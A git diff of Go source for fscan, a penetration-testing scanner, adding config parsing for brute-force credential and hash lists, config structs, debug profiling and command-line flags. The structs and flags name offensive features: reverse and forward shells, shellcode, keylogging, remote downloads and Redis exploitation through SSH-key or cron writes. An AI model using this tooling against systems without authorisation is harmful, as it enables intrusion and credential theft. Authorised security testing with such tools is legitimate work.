@@ -0,0 +1,310 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"net"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common/config"
|
||||
"github.com/shadow1ng/fscan/common/parsers"
|
||||
)
|
||||
|
||||
/*
|
||||
config_builder.go - 统一配置构建入口
|
||||
|
||||
从 FlagVars 直接构建 Config 和 State,消除中间层。
|
||||
*/
|
||||
|
||||
// BuildConfig 从 FlagVars 构建完整的 Config 和 State
|
||||
// 这是新的统一入口,替代原来的 Parse() + BuildConfigFromFlags() + updateGlobalVariables()
|
||||
func BuildConfig(fv *FlagVars, info *HostInfo) (*Config, *State, error) {
|
||||
// 1. 构建基础 Config(从 flag_config.go 的 BuildConfigFromFlags)
|
||||
cfg := BuildConfigFromFlags(fv)
|
||||
|
||||
// 2. 创建 State
|
||||
state := NewState()
|
||||
|
||||
// 3. 解析凭据
|
||||
if err := parseCredentials(fv, cfg); err != nil {
|
||||
return nil, nil, fmt.Errorf("凭据解析失败: %w", err)
|
||||
}
|
||||
|
||||
// 4. 解析目标(主机、端口、URL)
|
||||
if err := parseTargets(fv, info, cfg, state); err != nil {
|
||||
return nil, nil, fmt.Errorf("目标解析失败: %w", err)
|
||||
}
|
||||
|
||||
// 5. 应用日志级别
|
||||
applyLogLevelFromConfig(fv)
|
||||
|
||||
return cfg, state, nil
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 凭据解析
|
||||
// =============================================================================
|
||||
|
||||
func parseCredentials(fv *FlagVars, cfg *Config) error {
|
||||
// 解析用户名
|
||||
usernames := parseUsernames(fv)
|
||||
if len(usernames) > 0 {
|
||||
for serviceName := range cfg.Credentials.Userdict {
|
||||
cfg.Credentials.Userdict[serviceName] = usernames
|
||||
}
|
||||
}
|
||||
|
||||
// 解析密码
|
||||
passwords := parsePasswords(fv)
|
||||
if len(passwords) > 0 {
|
||||
cfg.Credentials.Passwords = passwords
|
||||
}
|
||||
|
||||
// 解析用户密码对
|
||||
pairs, err := parseUserPassPairs(fv)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(pairs) > 0 {
|
||||
cfg.Credentials.UserPassPairs = pairs
|
||||
}
|
||||
|
||||
// 解析哈希
|
||||
hashValues, hashBytes, err := parseHashes(fv)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(hashValues) > 0 {
|
||||
cfg.Credentials.HashValues = hashValues
|
||||
cfg.Credentials.HashBytes = hashBytes
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func parseUsernames(fv *FlagVars) []string {
|
||||
var usernames []string
|
||||
|
||||
// 命令行用户名
|
||||
if fv.Username != "" {
|
||||
for _, u := range strings.Split(fv.Username, ",") {
|
||||
u = strings.TrimSpace(u)
|
||||
if u != "" {
|
||||
usernames = append(usernames, u)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 从文件读取
|
||||
if fv.UsersFile != "" {
|
||||
if lines, err := parsers.ReadLinesFromFile(fv.UsersFile); err == nil {
|
||||
usernames = append(usernames, lines...)
|
||||
} else {
|
||||
LogError(fmt.Sprintf("读取用户名文件 %s 失败: %v", fv.UsersFile, err))
|
||||
}
|
||||
}
|
||||
|
||||
// 额外用户名
|
||||
if fv.AddUsers != "" {
|
||||
for _, u := range strings.Split(fv.AddUsers, ",") {
|
||||
u = strings.TrimSpace(u)
|
||||
if u != "" {
|
||||
usernames = append(usernames, u)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return removeDuplicate(usernames)
|
||||
}
|
||||
|
||||
func parsePasswords(fv *FlagVars) []string {
|
||||
var passwords []string
|
||||
|
||||
// 命令行密码
|
||||
if fv.Password != "" {
|
||||
passwords = append(passwords, strings.Split(fv.Password, ",")...)
|
||||
}
|
||||
|
||||
// 从文件读取
|
||||
if fv.PasswordsFile != "" {
|
||||
if lines, err := parsers.ReadLinesFromFile(fv.PasswordsFile); err == nil {
|
||||
passwords = append(passwords, lines...)
|
||||
} else {
|
||||
LogError(fmt.Sprintf("读取密码文件 %s 失败: %v", fv.PasswordsFile, err))
|
||||
}
|
||||
}
|
||||
|
||||
// 额外密码
|
||||
if fv.AddPasswords != "" {
|
||||
passwords = append(passwords, strings.Split(fv.AddPasswords, ",")...)
|
||||
}
|
||||
|
||||
return removeDuplicate(passwords)
|
||||
}
|
||||
|
||||
func parseUserPassPairs(fv *FlagVars) ([]config.CredentialPair, error) {
|
||||
var pairs []config.CredentialPair
|
||||
|
||||
// 如果命令行同时指定了单个用户名和单个密码(不是逗号分隔的多个)
|
||||
if fv.Username != "" && fv.Password != "" &&
|
||||
!strings.Contains(fv.Username, ",") && !strings.Contains(fv.Password, ",") &&
|
||||
fv.UsersFile == "" && fv.PasswordsFile == "" && fv.UserPassFile == "" {
|
||||
pairs = append(pairs, config.CredentialPair{
|
||||
Username: strings.TrimSpace(fv.Username),
|
||||
Password: fv.Password,
|
||||
})
|
||||
return pairs, nil
|
||||
}
|
||||
|
||||
// 从文件读取用户密码对
|
||||
if fv.UserPassFile != "" {
|
||||
filePairs, err := parsers.ParseUserPassFile(fv.UserPassFile)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
pairs = append(pairs, filePairs...)
|
||||
}
|
||||
|
||||
return pairs, nil
|
||||
}
|
||||
|
||||
func parseHashes(fv *FlagVars) ([]string, [][]byte, error) {
|
||||
var hashValues []string
|
||||
var hashBytes [][]byte
|
||||
|
||||
// 命令行哈希
|
||||
if fv.HashValue != "" {
|
||||
hash := strings.TrimSpace(fv.HashValue)
|
||||
if len(hash) == 32 {
|
||||
hashValues = append(hashValues, hash)
|
||||
if hashByte, err := hex.DecodeString(hash); err == nil {
|
||||
hashBytes = append(hashBytes, hashByte)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 从文件读取
|
||||
if fv.HashFile != "" {
|
||||
fileHashes, fileHashBytes, err := parsers.ParseHashFile(fv.HashFile)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
hashValues = append(hashValues, fileHashes...)
|
||||
hashBytes = append(hashBytes, fileHashBytes...)
|
||||
}
|
||||
|
||||
return hashValues, hashBytes, nil
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 目标解析
|
||||
// =============================================================================
|
||||
|
||||
func parseTargets(fv *FlagVars, info *HostInfo, cfg *Config, state *State) error {
|
||||
// 检查是否为 host:port 格式
|
||||
ports := fv.Ports
|
||||
if info.Host != "" && strings.Contains(info.Host, ":") {
|
||||
if _, portStr, err := net.SplitHostPort(info.Host); err == nil {
|
||||
if port, portErr := strconv.Atoi(portStr); portErr == nil && port >= 1 && port <= 65535 {
|
||||
// 有效的 host:port 格式
|
||||
state.SetHostPorts([]string{info.Host})
|
||||
ports = "" // 清空端口,避免双重扫描
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 解析 URL
|
||||
urls := parseURLs(fv)
|
||||
if len(urls) > 0 {
|
||||
state.SetURLs(urls)
|
||||
if info.URL == "" && len(urls) == 1 {
|
||||
info.URL = urls[0]
|
||||
}
|
||||
}
|
||||
|
||||
// 更新端口配置
|
||||
if ports != "" {
|
||||
cfg.Target.Ports = ports
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func parseURLs(fv *FlagVars) []string {
|
||||
var urls []string
|
||||
|
||||
// 命令行 URL
|
||||
if fv.TargetURL != "" {
|
||||
for _, u := range strings.Split(fv.TargetURL, ",") {
|
||||
u = strings.TrimSpace(u)
|
||||
if u != "" {
|
||||
urls = append(urls, normalizeURL(u))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 从文件读取
|
||||
if fv.URLsFile != "" {
|
||||
if lines, err := parsers.ReadLinesFromFile(fv.URLsFile); err == nil {
|
||||
for _, line := range lines {
|
||||
urls = append(urls, normalizeURL(line))
|
||||
}
|
||||
} else {
|
||||
LogError(fmt.Sprintf("读取URL文件 %s 失败: %v", fv.URLsFile, err))
|
||||
}
|
||||
}
|
||||
|
||||
return removeDuplicate(urls)
|
||||
}
|
||||
|
||||
func normalizeURL(rawURL string) string {
|
||||
rawURL = strings.TrimSpace(rawURL)
|
||||
if rawURL == "" {
|
||||
return rawURL
|
||||
}
|
||||
if !strings.HasPrefix(rawURL, "http://") && !strings.HasPrefix(rawURL, "https://") {
|
||||
return "http://" + rawURL
|
||||
}
|
||||
return rawURL
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 日志级别应用
|
||||
// =============================================================================
|
||||
|
||||
func applyLogLevelFromConfig(fv *FlagVars) {
|
||||
if fv.LogLevel == "" {
|
||||
return
|
||||
}
|
||||
// 调用已有的 applyLogLevel 函数
|
||||
applyLogLevel()
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 辅助函数
|
||||
// =============================================================================
|
||||
|
||||
func removeDuplicate(old []string) []string {
|
||||
if len(old) <= 1 {
|
||||
return old
|
||||
}
|
||||
|
||||
temp := make(map[string]struct{}, len(old))
|
||||
result := make([]string, 0, len(old))
|
||||
|
||||
for _, item := range old {
|
||||
if _, exists := temp[item]; !exists {
|
||||
temp[item] = struct{}{}
|
||||
result = append(result, item)
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 保留 BuildConfigFromFlags 的原有实现(从 flag_config.go 移入)
|
||||
// =============================================================================
|
||||
|
||||
// BuildConfigFromFlags 已在 flag_config.go 中定义,这里不重复
|
||||
@@ -0,0 +1,188 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common/config"
|
||||
)
|
||||
|
||||
/*
|
||||
config_struct.go - 配置结构体定义
|
||||
|
||||
简化后的结构:
|
||||
- 高频字段平铺到顶层
|
||||
- 子配置使用值类型(非指针)
|
||||
- 删除过度分类的 AdvancedConfig
|
||||
*/
|
||||
|
||||
// =============================================================================
|
||||
// Config - 扫描器配置
|
||||
// =============================================================================
|
||||
|
||||
// Config 扫描器完整配置 - 初始化后只读,可安全共享
|
||||
type Config struct {
|
||||
// 高频访问字段 - 平铺到顶层
|
||||
Timeout time.Duration // 通用超时
|
||||
ThreadNum int // 主线程数
|
||||
ModuleThreadNum int // 模块线程数
|
||||
DisableBrute bool // 禁用暴力破解
|
||||
DisablePing bool // 禁用Ping检测
|
||||
DisableTcpProbe bool // 禁用TCP补充探测
|
||||
|
||||
// 扫描模式
|
||||
Mode string // 扫描模式
|
||||
LocalMode bool // 本地模式
|
||||
LocalPlugin string // 本地插件名
|
||||
AliveOnly bool // 仅存活检测
|
||||
MaxRetries int // 最大重试次数
|
||||
|
||||
// 高级功能(从AdvancedConfig合并)
|
||||
Shellcode string // Shellcode
|
||||
LocalPluginsList []string // 本地插件列表
|
||||
DNSLog bool // DNSLog检测
|
||||
PersistenceTargetFile string // 持久化目标文件
|
||||
WinPEFile string // WinPE文件
|
||||
PortMap map[int][]string // 端口映射
|
||||
DefaultMap []string // 默认映射
|
||||
|
||||
// 分组配置 - 值类型
|
||||
Credentials CredentialConfig
|
||||
Network NetworkConfig
|
||||
Output OutputConfig
|
||||
POC POCConfig
|
||||
Redis RedisConfig
|
||||
HTTP HTTPConfig
|
||||
LocalExploit LocalExploitConfig
|
||||
Target TargetConfig // 扫描目标配置
|
||||
|
||||
// SOCKS5代理端口配置
|
||||
Socks5ProxyPort int // SOCKS5代理端口
|
||||
}
|
||||
|
||||
// TargetConfig 扫描目标配置
|
||||
type TargetConfig struct {
|
||||
Ports string // 端口范围字符串
|
||||
ExcludePorts string // 排除端口字符串
|
||||
}
|
||||
|
||||
// CredentialConfig 认证相关配置
|
||||
type CredentialConfig struct {
|
||||
Username string
|
||||
Password string
|
||||
Domain string
|
||||
Userdict map[string][]string
|
||||
Passwords []string
|
||||
UserPassPairs []config.CredentialPair
|
||||
HashValues []string
|
||||
HashBytes [][]byte
|
||||
SSHKeyPath string
|
||||
}
|
||||
|
||||
// NetworkConfig 网络相关配置
|
||||
type NetworkConfig struct {
|
||||
HTTPProxy string
|
||||
Socks5Proxy string
|
||||
Iface string
|
||||
WebTimeout time.Duration
|
||||
MaxRedirects int
|
||||
PacketRateLimit int64
|
||||
MaxPacketCount int64
|
||||
ICMPRate float64
|
||||
}
|
||||
|
||||
// OutputConfig 输出相关配置
|
||||
type OutputConfig struct {
|
||||
File string
|
||||
Format string
|
||||
DisableSave bool
|
||||
NoColor bool
|
||||
Silent bool
|
||||
DisableProgress bool
|
||||
ShowProgress bool
|
||||
LogLevel string
|
||||
Language string
|
||||
PerfStats bool
|
||||
}
|
||||
|
||||
// POCConfig POC扫描相关配置
|
||||
type POCConfig struct {
|
||||
PocPath string // POC路径
|
||||
PocName string // 指定POC名称
|
||||
Full bool // 完整POC扫描
|
||||
Num int // POC并发数
|
||||
Disabled bool // 禁用POC扫描
|
||||
}
|
||||
|
||||
// RedisConfig Redis利用相关配置
|
||||
type RedisConfig struct {
|
||||
Disabled bool // 禁用Redis利用
|
||||
File string // SSH密钥文件
|
||||
Shell string // 反弹Shell地址
|
||||
WritePath string // 写入路径
|
||||
WriteContent string // 写入内容
|
||||
WriteFile string // 本地文件路径
|
||||
}
|
||||
|
||||
// HTTPConfig HTTP请求相关配置
|
||||
type HTTPConfig struct {
|
||||
Cookie string // Cookie
|
||||
UserAgent string // User-Agent
|
||||
Accept string // Accept头
|
||||
}
|
||||
|
||||
// LocalExploitConfig 本地利用相关配置
|
||||
type LocalExploitConfig struct {
|
||||
ReverseShellTarget string // 反弹Shell目标
|
||||
ForwardShellPort int // 正向Shell端口
|
||||
KeyloggerOutputFile string // 键盘记录输出文件
|
||||
DownloadURL string // 下载URL
|
||||
DownloadSavePath string // 下载保存路径
|
||||
}
|
||||
|
||||
// NewConfig 创建带默认值的Config(后备用,正常流程使用BuildConfigFromFlags)
|
||||
func NewConfig() *Config {
|
||||
return &Config{
|
||||
// 高频字段 - 使用默认常量
|
||||
Timeout: time.Duration(DefaultTimeout) * time.Second,
|
||||
ThreadNum: DefaultThreadNum,
|
||||
ModuleThreadNum: 10,
|
||||
DisableBrute: false,
|
||||
DisablePing: false,
|
||||
DisableTcpProbe: false,
|
||||
|
||||
// 扫描模式
|
||||
Mode: DefaultScanMode,
|
||||
LocalMode: false,
|
||||
AliveOnly: false,
|
||||
MaxRetries: 3,
|
||||
|
||||
// 高级功能 - 使用默认配置
|
||||
PortMap: config.DefaultPortMap,
|
||||
DefaultMap: config.DefaultProbeMap,
|
||||
|
||||
// 分组配置 - 使用默认字典
|
||||
Credentials: CredentialConfig{
|
||||
Userdict: config.DefaultUserDict,
|
||||
Passwords: config.DefaultPasswords,
|
||||
UserPassPairs: nil,
|
||||
},
|
||||
Network: NetworkConfig{
|
||||
WebTimeout: time.Duration(5) * time.Second,
|
||||
MaxRedirects: 10,
|
||||
ICMPRate: 0.1,
|
||||
},
|
||||
Output: OutputConfig{
|
||||
File: "result.txt",
|
||||
Format: "txt",
|
||||
ShowProgress: true,
|
||||
LogLevel: DefaultLogLevel,
|
||||
Language: DefaultLanguage,
|
||||
},
|
||||
POC: POCConfig{
|
||||
Num: 20,
|
||||
},
|
||||
LocalExploit: LocalExploitConfig{
|
||||
ForwardShellPort: 4444,
|
||||
},
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,100 @@
|
||||
//go:build debug
|
||||
// +build debug
|
||||
|
||||
package debug
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"runtime"
|
||||
"runtime/pprof"
|
||||
"runtime/trace"
|
||||
)
|
||||
|
||||
var (
|
||||
cpuProfile *os.File
|
||||
traceFile *os.File
|
||||
profilesPath = "./profiles"
|
||||
)
|
||||
|
||||
func Start() {
|
||||
if err := os.MkdirAll(profilesPath, 0755); err != nil {
|
||||
fmt.Printf("[DEBUG] 创建 profiles 目录失败: %v\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
var err error
|
||||
cpuProfile, err = os.Create(profilesPath + "/cpu.prof")
|
||||
if err != nil {
|
||||
fmt.Printf("[DEBUG] 创建 CPU profile 失败: %v\n", err)
|
||||
} else {
|
||||
if err := pprof.StartCPUProfile(cpuProfile); err != nil {
|
||||
fmt.Printf("[DEBUG] 启动 CPU profile 失败: %v\n", err)
|
||||
cpuProfile.Close()
|
||||
cpuProfile = nil
|
||||
} else {
|
||||
fmt.Printf("[DEBUG] CPU profiling 已启动 -> %s/cpu.prof\n", profilesPath)
|
||||
}
|
||||
}
|
||||
|
||||
traceFile, err = os.Create(profilesPath + "/trace.out")
|
||||
if err != nil {
|
||||
fmt.Printf("[DEBUG] 创建 trace 文件失败: %v\n", err)
|
||||
} else {
|
||||
if err := trace.Start(traceFile); err != nil {
|
||||
fmt.Printf("[DEBUG] 启动 trace 失败: %v\n", err)
|
||||
traceFile.Close()
|
||||
traceFile = nil
|
||||
} else {
|
||||
fmt.Printf("[DEBUG] Execution trace 已启动 -> %s/trace.out\n", profilesPath)
|
||||
}
|
||||
}
|
||||
|
||||
fmt.Printf("[DEBUG] 性能分析已启动,程序结束时自动保存到 %s/\n", profilesPath)
|
||||
}
|
||||
|
||||
func Stop() {
|
||||
if cpuProfile != nil {
|
||||
pprof.StopCPUProfile()
|
||||
cpuProfile.Close()
|
||||
fmt.Printf("[DEBUG] CPU profile 已保存\n")
|
||||
}
|
||||
|
||||
if traceFile != nil {
|
||||
trace.Stop()
|
||||
traceFile.Close()
|
||||
fmt.Printf("[DEBUG] Trace 已保存\n")
|
||||
}
|
||||
|
||||
memProfile, err := os.Create(profilesPath + "/mem.prof")
|
||||
if err != nil {
|
||||
fmt.Printf("[DEBUG] 创建内存 profile 失败: %v\n", err)
|
||||
} else {
|
||||
runtime.GC()
|
||||
if err := pprof.WriteHeapProfile(memProfile); err != nil {
|
||||
fmt.Printf("[DEBUG] 写入内存 profile 失败: %v\n", err)
|
||||
} else {
|
||||
fmt.Printf("[DEBUG] 内存 profile 已保存 -> %s/mem.prof\n", profilesPath)
|
||||
}
|
||||
memProfile.Close()
|
||||
}
|
||||
|
||||
goroutineProfile, err := os.Create(profilesPath + "/goroutine.prof")
|
||||
if err != nil {
|
||||
fmt.Printf("[DEBUG] 创建 goroutine profile 失败: %v\n", err)
|
||||
} else {
|
||||
if err := pprof.Lookup("goroutine").WriteTo(goroutineProfile, 0); err != nil {
|
||||
fmt.Printf("[DEBUG] 写入 goroutine profile 失败: %v\n", err)
|
||||
} else {
|
||||
fmt.Printf("[DEBUG] Goroutine profile 已保存 -> %s/goroutine.prof\n", profilesPath)
|
||||
}
|
||||
goroutineProfile.Close()
|
||||
}
|
||||
|
||||
fmt.Printf("\n[DEBUG] 所有性能分析文件已保存到 %s/\n", profilesPath)
|
||||
fmt.Printf("[DEBUG] 查看方法:\n")
|
||||
fmt.Printf(" CPU 火焰图: go tool pprof -http=:8081 %s/cpu.prof\n", profilesPath)
|
||||
fmt.Printf(" 内存火焰图: go tool pprof -http=:8081 %s/mem.prof\n", profilesPath)
|
||||
fmt.Printf(" 协程分析: go tool pprof -http=:8081 %s/goroutine.prof\n", profilesPath)
|
||||
fmt.Printf(" 执行时间线: go tool trace %s/trace.out\n", profilesPath)
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
//go:build !debug
|
||||
// +build !debug
|
||||
|
||||
package debug
|
||||
|
||||
// 生产版本:pprof 完全不编译进来
|
||||
|
||||
func Start() {}
|
||||
func Stop() {}
|
||||
@@ -0,0 +1,28 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"net"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// DNSCache 并发安全的 DNS 解析缓存
|
||||
// 对纯 IP 输入零开销(直接返回),对域名避免重复系统调用
|
||||
var DNSCache = &dnsCache{}
|
||||
|
||||
type dnsCache struct {
|
||||
m sync.Map // host -> *net.IPAddr
|
||||
}
|
||||
|
||||
// ResolveIP 解析 host 为 *net.IPAddr,结果缓存
|
||||
func (c *dnsCache) ResolveIP(host string) (*net.IPAddr, error) {
|
||||
if v, ok := c.m.Load(host); ok {
|
||||
addr, _ := v.(*net.IPAddr)
|
||||
return addr, nil
|
||||
}
|
||||
addr, err := net.ResolveIPAddr("ip", host)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
c.m.Store(host, addr)
|
||||
return addr, nil
|
||||
}
|
||||
+299
-35
@@ -1,47 +1,311 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"flag"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/fatih/color"
|
||||
"github.com/shadow1ng/fscan/common/config"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
)
|
||||
|
||||
// ErrShowHelp 表示用户请求显示帮助(正常退出)
|
||||
var ErrShowHelp = errors.New("show help requested")
|
||||
|
||||
// Banner 显示程序横幅信息
|
||||
func Banner() {
|
||||
banner := `
|
||||
___ _
|
||||
/ _ \ ___ ___ _ __ __ _ ___| | __
|
||||
/ /_\/____/ __|/ __| '__/ _` + "`" + ` |/ __| |/ /
|
||||
/ /_\\_____\__ \ (__| | | (_| | (__| <
|
||||
\____/ |___/\___|_| \__,_|\___|_|\_\
|
||||
fscan version: 1.5.1
|
||||
`
|
||||
print(banner)
|
||||
// 静默模式下完全跳过Banner显示
|
||||
if flagVars.Silent {
|
||||
return
|
||||
}
|
||||
|
||||
// 定义暗绿色系
|
||||
colors := []color.Attribute{
|
||||
color.FgGreen, // 基础绿
|
||||
color.FgHiGreen, // 亮绿
|
||||
}
|
||||
|
||||
lines := []string{
|
||||
" ___ _ ",
|
||||
" / _ \\ ___ ___ _ __ __ _ ___| | __ ",
|
||||
" / /_\\/____/ __|/ __| '__/ _` |/ __| |/ /",
|
||||
"/ /_\\\\_____\\__ \\ (__| | | (_| | (__| < ",
|
||||
"\\____/ |___/\\___|_| \\__,_|\\___|_|\\_\\ ",
|
||||
}
|
||||
|
||||
// 获取最长行的长度
|
||||
maxLength := 0
|
||||
for _, line := range lines {
|
||||
if len(line) > maxLength {
|
||||
maxLength = len(line)
|
||||
}
|
||||
}
|
||||
|
||||
// 创建边框
|
||||
topBorder := "┌" + strings.Repeat("─", maxLength+2) + "┐"
|
||||
bottomBorder := "└" + strings.Repeat("─", maxLength+2) + "┘"
|
||||
|
||||
// 打印banner
|
||||
fmt.Println(topBorder)
|
||||
|
||||
for lineNum, line := range lines {
|
||||
fmt.Print("│ ")
|
||||
if flagVars.NoColor {
|
||||
// 无色彩模式下使用普通文本
|
||||
fmt.Print(line)
|
||||
} else {
|
||||
// 使用对应的颜色打印每个字符
|
||||
c := color.New(colors[lineNum%2])
|
||||
_, _ = c.Print(line)
|
||||
}
|
||||
// 补齐空格
|
||||
padding := maxLength - len(line)
|
||||
fmt.Printf("%s │\n", strings.Repeat(" ", padding))
|
||||
}
|
||||
|
||||
fmt.Println(bottomBorder)
|
||||
|
||||
// 打印版本信息
|
||||
versionStr := fmt.Sprintf(" Fscan %s (%s %s)", version, commit, date)
|
||||
if commit == "unknown" {
|
||||
versionStr = fmt.Sprintf(" Fscan %s", version)
|
||||
}
|
||||
if flagVars.NoColor {
|
||||
fmt.Printf("%s\n\n", versionStr)
|
||||
} else {
|
||||
c := color.New(colors[1])
|
||||
_, _ = c.Printf("%s\n\n", versionStr)
|
||||
}
|
||||
}
|
||||
|
||||
func Flag(Info *HostInfo) {
|
||||
Banner()
|
||||
flag.StringVar(&Info.Host, "h", "", "IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12")
|
||||
flag.StringVar(&Info.Ports, "p", DefaultPorts, "Select a port,for example: 22 | 1-65535 | 22,80,3306")
|
||||
flag.StringVar(&Info.Command, "c", "", "exec command (ssh)")
|
||||
flag.StringVar(&Info.Domain, "domain", "", "smb domain")
|
||||
flag.StringVar(&Info.Username, "user", "", "username")
|
||||
flag.StringVar(&Info.Password, "pwd", "", "password")
|
||||
flag.Int64Var(&Info.Timeout, "time", 3, "Set timeout")
|
||||
flag.Int64Var(&Info.WebTimeout, "wt", 5, "Set web timeout")
|
||||
flag.StringVar(&Info.Scantype, "m", "all", "Select scan type ,as: -m ssh")
|
||||
// Flag 解析命令行参数并配置扫描选项
|
||||
// 返回ErrShowHelp表示用户请求帮助(正常退出),其他error表示参数错误
|
||||
func Flag(Info *HostInfo) error {
|
||||
// 预处理语言设置 - 在定义flag之前检查lang参数
|
||||
preProcessLanguage()
|
||||
|
||||
flag.IntVar(&Threads, "t", 200, "Thread nums")
|
||||
flag.StringVar(&HostFile, "hf", "", "host file, -hs ip.txt")
|
||||
flag.StringVar(&Userfile, "userf", "", "username file")
|
||||
flag.StringVar(&Passfile, "pwdf", "", "password file")
|
||||
flag.StringVar(&RedisFile, "rf", "", "redis file to write sshkey file (as: -rf id_rsa.pub) ")
|
||||
flag.StringVar(&RedisShell, "rs", "", "redis shell to write cron file (as: -rs 192.168.1.1:6666) ")
|
||||
flag.BoolVar(&IsWebCan, "nopoc", false, "not to scan web vul")
|
||||
flag.BoolVar(&IsPing, "np", false, "not to ping")
|
||||
flag.BoolVar(&Ping, "ping", false, "using ping replace icmp")
|
||||
flag.StringVar(&TmpOutputfile, "o", "result.txt", "Outputfile")
|
||||
flag.BoolVar(&TmpSave, "no", false, "not to save output log")
|
||||
flag.BoolVar(&LogErr, "debug", false, "debug mode will print more error info")
|
||||
flag.StringVar(&Pocinfo.PocName, "pocname", "", "use the pocs these contain pocname, -pocname weblogic")
|
||||
flag.StringVar(&Pocinfo.Proxy, "proxy", "", "set poc proxy, -proxy http://127.0.0.1:8080")
|
||||
flag.IntVar(&Pocinfo.Num, "Num", 20, "poc rate")
|
||||
fv := flagVars // 使用全局 FlagVars 实例
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// 目标配置参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&Info.Host, "h", "", i18n.GetText("flag_host"))
|
||||
flag.StringVar(&fv.ExcludeHosts, "eh", "", i18n.GetText("flag_exclude_hosts"))
|
||||
flag.StringVar(&fv.ExcludeHostsFile, "ehf", "", i18n.GetText("flag_exclude_hosts_file"))
|
||||
flag.StringVar(&fv.Ports, "p", config.MainPorts, i18n.GetText("flag_ports"))
|
||||
flag.StringVar(&fv.ExcludePorts, "ep", "", i18n.GetText("flag_exclude_ports"))
|
||||
flag.StringVar(&fv.HostsFile, "hf", "", i18n.GetText("flag_hosts_file"))
|
||||
flag.StringVar(&fv.PortsFile, "pf", "", i18n.GetText("flag_ports_file"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// 扫描控制参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&fv.ScanMode, "m", "all", i18n.GetText("flag_scan_mode"))
|
||||
flag.IntVar(&fv.ThreadNum, "t", 600, i18n.GetText("flag_thread_num"))
|
||||
flag.Int64Var(&fv.TimeoutSec, "time", 3, i18n.GetText("flag_timeout"))
|
||||
flag.IntVar(&fv.ModuleThreadNum, "mt", 20, i18n.GetText("flag_module_thread_num"))
|
||||
flag.Int64Var(&fv.GlobalTimeout, "gt", 180, i18n.GetText("flag_global_timeout"))
|
||||
flag.BoolVar(&fv.DisablePing, "np", false, i18n.GetText("flag_disable_ping"))
|
||||
flag.BoolVar(&fv.DisableTcpProbe, "ntp", false, i18n.GetText("flag_disable_tcp_probe"))
|
||||
flag.StringVar(&fv.LocalPlugin, "local", "", "指定本地插件名称 (如: cleaner, avdetect, keylogger 等)")
|
||||
flag.BoolVar(&fv.AliveOnly, "ao", false, i18n.GetText("flag_alive_only"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// 认证与凭据参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&fv.Username, "user", "", i18n.GetText("flag_username"))
|
||||
flag.StringVar(&fv.Password, "pwd", "", i18n.GetText("flag_password"))
|
||||
flag.StringVar(&fv.AddUsers, "usera", "", i18n.GetText("flag_add_users"))
|
||||
flag.StringVar(&fv.AddPasswords, "pwda", "", i18n.GetText("flag_add_passwords"))
|
||||
flag.StringVar(&fv.UsersFile, "userf", "", i18n.GetText("flag_users_file"))
|
||||
flag.StringVar(&fv.PasswordsFile, "pwdf", "", i18n.GetText("flag_passwords_file"))
|
||||
flag.StringVar(&fv.UserPassFile, "upf", "", i18n.GetText("flag_userpass_file"))
|
||||
flag.StringVar(&fv.HashFile, "hashf", "", i18n.GetText("flag_hash_file"))
|
||||
flag.StringVar(&fv.HashValue, "hash", "", i18n.GetText("flag_hash_value"))
|
||||
flag.StringVar(&fv.Domain, "domain", "", i18n.GetText("flag_domain"))
|
||||
flag.StringVar(&fv.SSHKeyPath, "sshkey", "", i18n.GetText("flag_ssh_key"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// Web扫描参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&fv.TargetURL, "u", "", i18n.GetText("flag_target_url"))
|
||||
flag.StringVar(&fv.URLsFile, "uf", "", i18n.GetText("flag_urls_file"))
|
||||
flag.StringVar(&fv.Cookie, "cookie", "", i18n.GetText("flag_cookie"))
|
||||
flag.Int64Var(&fv.WebTimeout, "wt", 5, i18n.GetText("flag_web_timeout"))
|
||||
flag.IntVar(&fv.MaxRedirects, "max-redirect", 10, i18n.GetText("flag_max_redirects"))
|
||||
flag.StringVar(&fv.HTTPProxy, "proxy", "", i18n.GetText("flag_http_proxy"))
|
||||
flag.StringVar(&fv.Socks5Proxy, "socks5", "", i18n.GetText("flag_socks5_proxy"))
|
||||
